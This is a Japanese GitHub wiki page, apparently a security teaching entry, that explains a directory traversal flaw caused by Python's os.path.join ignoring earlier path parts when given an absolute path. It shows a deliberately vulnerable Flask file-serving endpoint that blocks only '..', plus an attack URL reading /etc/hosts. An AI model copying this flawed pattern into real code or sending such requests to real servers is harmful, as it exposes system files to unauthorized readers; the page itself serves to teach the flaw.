ディレクトリトラバーサル 08 - yujitounai/helloworld GitHub Wiki

ディレクトリトラバーサル-08

Pythonのos.path.join関数の仕様を利用したディレクトリトラバーサル

os.path.join("aaa", "bbb") 'aaa/bbb' os.path.join("aaa", "/bbb") '/bbb' os.path.join("aaa", "/bbb", "ccc") '/bbb/ccc'

となってしまう

脆弱なソースコード (Python)

import urllib.request
import os
from flask import Flask, request
app = Flask(__name__)

@app.route('/getpoem')
def get_poem():
    poemname = request.args.get('name')

    if not poemname:
        return 'Please send a name query:\n' + str(os.listdir('poems')), 404

    poemdir     = os.path.join(os.getcwd(), 'poems')
    poempath    = os.path.join(poemdir, poemname)

    if '..' in poemname:
        return 'Illegal substring detected.', 403

    if not os.path.exists(poempath):
        return 'File not found.', 404

    return send_file(poempath)

def send_file(poem):
    f = open(poem, 'r')
    data = f.read()
    f.close()
    return data

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=8000)
poemname = request.args.get('name')
poemdir     = os.path.join(os.getcwd(), 'poems')
poempath    = os.path.join(poemdir, poemname)

なのでpoemnameに/があるとパスが無視される

攻撃方法

http://localhost:8000/getpoem?name=/etc/hosts